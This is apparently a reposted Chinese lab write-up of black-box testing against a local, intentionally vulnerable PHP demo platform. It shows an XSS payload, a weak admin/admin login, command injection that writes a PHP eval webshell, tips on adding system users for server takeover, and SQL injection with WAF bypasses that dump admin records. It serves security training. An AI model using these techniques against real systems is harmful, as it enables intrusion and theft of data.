AVDemo漏洞平台黑盒测试

信息收集


说明一下:
因为是本地的环境,端口这些就不扫描了,

还有这个是某个dalao写的平台,也就检测不到什么cms了,

信息收集,端口,cms这些是必做的,

首先,这里先简单的使用轻量级扫描器扫描一下看看

images


可以看到扫描到了用户注册、用户登录、管理员登录等等,

还有一些302重定向,说明存在admin这个目录 ,

还有一些403无权限访问,也说明网站存在这些目录。


前台XSS

前台搜索留言处存在XSS ,

payload:

<script>alert(/xss/)</script>

images


管理员弱口令

管理员后台:www.xx.com/admin/login

简单测试 admin   admin 然后就进去了


后台命令执行

发现了一个奇怪的页面 ,

跟DVWA的很像有木有,可以执行命令

images


如果在渗透测试中,我们可以尝试使用 net user 命令来添加用户,

Linux下可以使用 useradd ,

要是对方开了远程桌面,添加用户直接就拿服务器了,

这里我就不测试了,我们来写shell看看 ,

命令:

127.0.0.1 && echo ^<?php eval($_POST[cmd]);?^> > D:/phpStudy/PHPTutorial/WWW/VAuditDemo/shell.php

知道网站路径的话可以写在那个目录都行,不过也得看看有没有访问权限,

然后直接上菜刀

images


然后菜刀上也经常使用虚拟终端来执行一些命令.

补充: 如果使用 dir 命令来指定某个路径查看文件,需要使用反斜杠


前台头像上传

注册一个test的账号,

然后在头像上传处,我们先拿一张普通的jpg文件测试一下,

发现没有返回什么路径之类的,审查元素也没发现什么路径。

images


然后传一个 shell.php 文件,发现被拦截了,

images


试了几个方法还是不行,然后看了处理上传的代码,

没有返回路径,文件名也挺复杂的,

条件限制没有什么好的方法,暂时先放弃了,

一般来说上传的文件一般在upload目录下,这个正好也在这个目录,但是文件名挺复杂了,

就先这样吧!!


前台sql注入

前台留言处发现通过id去搜索留言详情,

images


那么会不会存在注入,来测试一下

首先一个单引号,发现报错了,

images


输入 and 1=1 ,发现报错有一个 sqlwaf的词,判断存在waf,

应该是吃掉了一些关键字,那么 select ,union 等常见的关键字应该也不能直接用了,

images


既然 and 被吃了,那来试试 || ,

发现被替换成了空白符,

images


来试试大小写,发现也过滤了

images


来试试 /**/ 编码,发现报错了,

感情是被实体化了,

images


再来试试URL编码 %252f%252a 就是 /**/ 的意思,

发现 %百分号被斜杠转义了,

images


经过多次尝试后,回到上面 || 被替换成空,那么会不会有机会呢,

果然是可以的,但是超过列数了,

images


来逐渐删减一下,最后 4 的时候成功爆出显位,

images


然后来爆一下数据库,

images


然后想查一下表,发现_ 下划线被转换了,这个貌似没有什么好的绕过方法,

images


然后只能试试盲猜了,数据库一般都有 adminusers表,

发现 adminusers表都存在,但是 users表一般是存在普通用户的,所有我们直接看admin表,

没有报错说明存在

images


然后再去查爆字段,发现连id这个字段都没有????

最后无奈只能上数据库去查看,发现id这个字段其实是叫admin_id

下划线是无法绕的,只能用其他方法,

这里可以使用 *星号,星号在数据库是代表所有的意思,

但是这里必须要相同数量的字段才能查询,不然会报错,

而 admin这个表字段刚好是三个,然后就直接爆出数据了,

images


附1:常见状态码

  1. 200   OK   请求成功。一般用于GET与POST请求
  2. 301   Moved Permanently   被请求的资源已永久移动到新位置
  3. 302   Found   临时移动。与301类似。但请求的资源现在临时从不同的 URL 响应请求。
  4. 401   Unauthorized   当前请求需要用户验证。
  5. 403   Forbidden   服务器理解请求客户端的请求,但是拒绝执行此请求
  6. 404   Not Found   所请求的资源(网页)不存在或已被删除。
  7. 500   Internal Server Error   服务器内部错误,无法完成请求
  8. 502   Bad Gateway   作为网关或者代理工作的服务器尝试执行请求时,从远程服务器接收到了一个无效的响应
  9. 503   Service Unavailable   由于超载或系统维护,服务器暂时的无法处理客户端的请求。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/13295.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

web3 ETF软件开发难点

开发一个涉及到 Web3 ETF&#xff08;Exchange-Traded Fund&#xff0c;交易所交易基金&#xff09;的软件可能会面临一些挑战和难点&#xff0c;特别是在整合 Web3 技术和金融服务方面。以下是一些可能的难点。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&am…

记一次:mysql统计的CAST函数与json字段中的某个字段

前言&#xff1a;因为需求的问题&#xff0c;会遇到将某个json存入到一个字段中&#xff0c;但在统计的时候&#xff0c;又需要将这个json中的某个字段作为条件来统计&#xff0c;所以整理了一下cast函数和json中某个字段的条件判断 一、浅谈mysql的json 1.1 上例子 SELECTli…

植物大战僵尸杂交版(含下载方式)

最近时间&#xff0c;一款很火的植物大战僵尸杂交版火爆出圈&#xff0c;在玩家之间疯狂扩散。各种奇特的杂交组合让游戏变得更加有趣。 游戏介绍 植物大战僵尸杂交版是一款将《植物大战僵尸》和植物杂交概念结合在一起的独特塔防策略游戏。它将《植物大战僵尸》中的植物与进行…

Minio 对象存储 OSS概述

系列文章目录 第五章 Minio 对象存储 OSS概述 Minio 对象存储 OSS概述 系列文章目录对象存储 OSS基本概念存储空间&#xff08;Bucket&#xff09;对象&#xff08;Object&#xff09;ObjectKeyRegion&#xff08;地域&#xff09;Endpoint&#xff08;访问域名&#xff09;Ac…

C#知识|上位机子窗体嵌入主窗体方法(实例)

哈喽,你好啊,我是雷工! 上位机开发中,经常会需要将子窗体嵌入到主窗体, 本节练习C#中在主窗体的某个容器中打开子窗体的方法。 01 需求说明 本节练习将【账号管理】子窗体在主窗体的panelMain容器中打开。 账号管理子窗体如下: 主窗体的panelMain容器位置如图: 02 实现…

一次JAVA接口优化记录

目录 一次接口优化记录首先考虑&#xff0c;添加缓存缓存策略方案一&#xff1a;本地缓存方案二&#xff1a;Redis缓存 优化结果原因分析&#xff1a;原因验证 接口数据分析将响应数据返回大小减少compression压缩配置完美&#xff08;代指这里的小系统&#xff09; 一次接口优…

CentOS 的常见命令

CentOS 是一种广泛使用的 Linux 发行版&#xff0c;特别在服务器环境中。本文将详细介绍 CentOS 中常见的命令&#xff0c;以便帮助用户在操作系统中有效地进行各种操作。下面介绍一下文件和目录操作、用户和权限管理、系统信息查看、软件包管理以及网络配置等方面的命令。 一…

应用层协议【HTTP和HTTPS】

1.概念 1.1 协议 协议是指在计算机通信和网络通信中&#xff0c;为了实现数据交换而建立的一套规则、约定或者标准。它定义了通信双方之间的通信格式、传输方式、数据的含义、错误处理等细节&#xff0c;从而确保通信的可靠性、有效性和安全性。 >1在计算机网络中&#x…

注册讲堂 | 体外诊断试剂分类目录的变化

5月11日&#xff0c;千呼万唤的《体外诊断试剂分类目录》&#xff08;2024年第58号&#xff09;终于发布&#xff01; 前世今生 2013年&#xff1a;《6840 体外诊断试剂分类子目录&#xff08;2013版&#xff09;》&#xff08;以下简称2013版目录&#xff09; 2017年&#xff…

苹果永久版安装PD虚拟机:Parallels Desktop 19 一键激活版

Parallels Desktop 19是一款功能强大的虚拟机软件&#xff0c;专为Mac用户设计&#xff0c;允许用户在同一台Mac电脑上同时运行Windows、Linux等多个操作系统&#xff0c;而无需额外的硬件设备。 下载地址&#xff1a;https://www.macz.com/mac/9581.html?idOTI2NjQ5Jl8mMjcuM…

Kubernetes入门:核心概念

集群架构与组件 一个kubernetes集群主要是由控制节点(master)、工作节点(node)构成&#xff0c;每个节点上都会安装不同的组件。 master&#xff1a;集群的控制平面&#xff0c;负责集群的决策 ( 管理 ) api-server : 资源操作的唯一入口&#xff0c;接收用户输入的命令&…

文本控件Text Control示例: 将图像插入 TX 的各种方法

TX Text Control 是一款功能类似于 MS Word 的文字处理控件&#xff0c;包括文档创建、编辑、打印、邮件合并、格式转换、拆分合并、导入导出、批量生成等功能。广泛应用于企业文档管理&#xff0c;网站内容发布&#xff0c;电子病历中病案模板创建、病历书写、修改历史、连续打…

在Linux上面部署ELK

注明&#xff1a;一下的软件需要自己准备 一、准备环境&#xff1a; 1.两台elasticsearch主机4G内存 2.两台elasticsearch配置主机名node1和node2(可以省略) #vim /etc/hostname #reboot 3. 两台elasticsearch配置hosts文件 #vim /etc/hosts 192.168.1.1 node1 192…

RTMP低延迟推流

人总是需要压力才能进步, 最近有个项目, 需要我在RK3568上, 推流到公网, 最大程度的降低延迟. 废话不多说, 先直接看效果: 数据经过WiFi发送到Inenter的SRS服务器, 再通过网页拉流的. 因为是打金任务, 所以逼了自己一把, 把RTMP推流好好捋一遍. 先说说任务目标, 首先是MPP编码…

【Altium】AD-检查原理图中元器件未连接的Passive Pin

1、 文档目标 如何让原理图编译时找出元器件上未连接的Passive Pin 2、 问题场景 当引脚属性&#xff08;Pin type&#xff09;为passive时&#xff0c;原理图编译的默认规则是不会去检查它们是否有连接的。在实际设计过程中&#xff0c;经常会有导线虚连&#xff0c;漏连的事…

医疗传感器种类不断增多 市场规模逐渐扩大

医疗传感器种类不断增多 市场规模逐渐扩大 医疗传感器是将人体的生理信息转换为电信息的变换装置。医疗传感器具有高灵敏度、高精度、实时监测等优点&#xff0c;可以检测佩戴者的心率、呼吸频率、活动量等&#xff0c;从而更加准确地了解身体情况。   经过多年发展&#…

【极简】docker常用操作

镜像images是静态的 容器container是动态的&#xff0c;是基于镜像的&#xff0c;类似于一个进程。 查看docker images&#xff1a; docker images 或者docker image ls 查看docker container情况&#xff1a;docker ps -a&#xff0c;-a意思是--all 运行一个container: doc…

数字水印 | 奇异值分解 SVD 的 Python 代码实现

&#x1f951;原理&#xff1a;数字水印 | 奇异值分解 SVD 的定义、原理及性质 &#x1f951;参考&#xff1a;Python 机器学习笔记&#xff1a;奇异值分解&#xff08;SVD&#xff09;算法 正文 对于一个图像矩阵&#xff0c;我们总可以将其分解为以下形式&#xff1a; 通过…

使用API有效率地管理Dynadot域名,默认将域名隐形转发至其他界面

关于Dynadot Dynadot是通过ICANN认证的域名注册商&#xff0c;自2002年成立以来&#xff0c;服务于全球108个国家和地区的客户&#xff0c;为数以万计的客户提供简洁&#xff0c;优惠&#xff0c;安全的域名注册以及管理服务。 Dynadot平台操作教程索引&#xff08;包括域名邮…

【大模型微调】一文掌握7种大模型微调的方法

本篇文章深入分析了大型模型微调的基本理念和多样化技术&#xff0c;细致介绍了LoRA、适配器调整(Adapter Tuning)、前缀调整(Prefix Tuning)等多个微调方法。详细讨论了每一种策略的基本原则、主要优点以及适宜应用场景&#xff0c;使得读者可以依据特定的应用要求和计算资源限…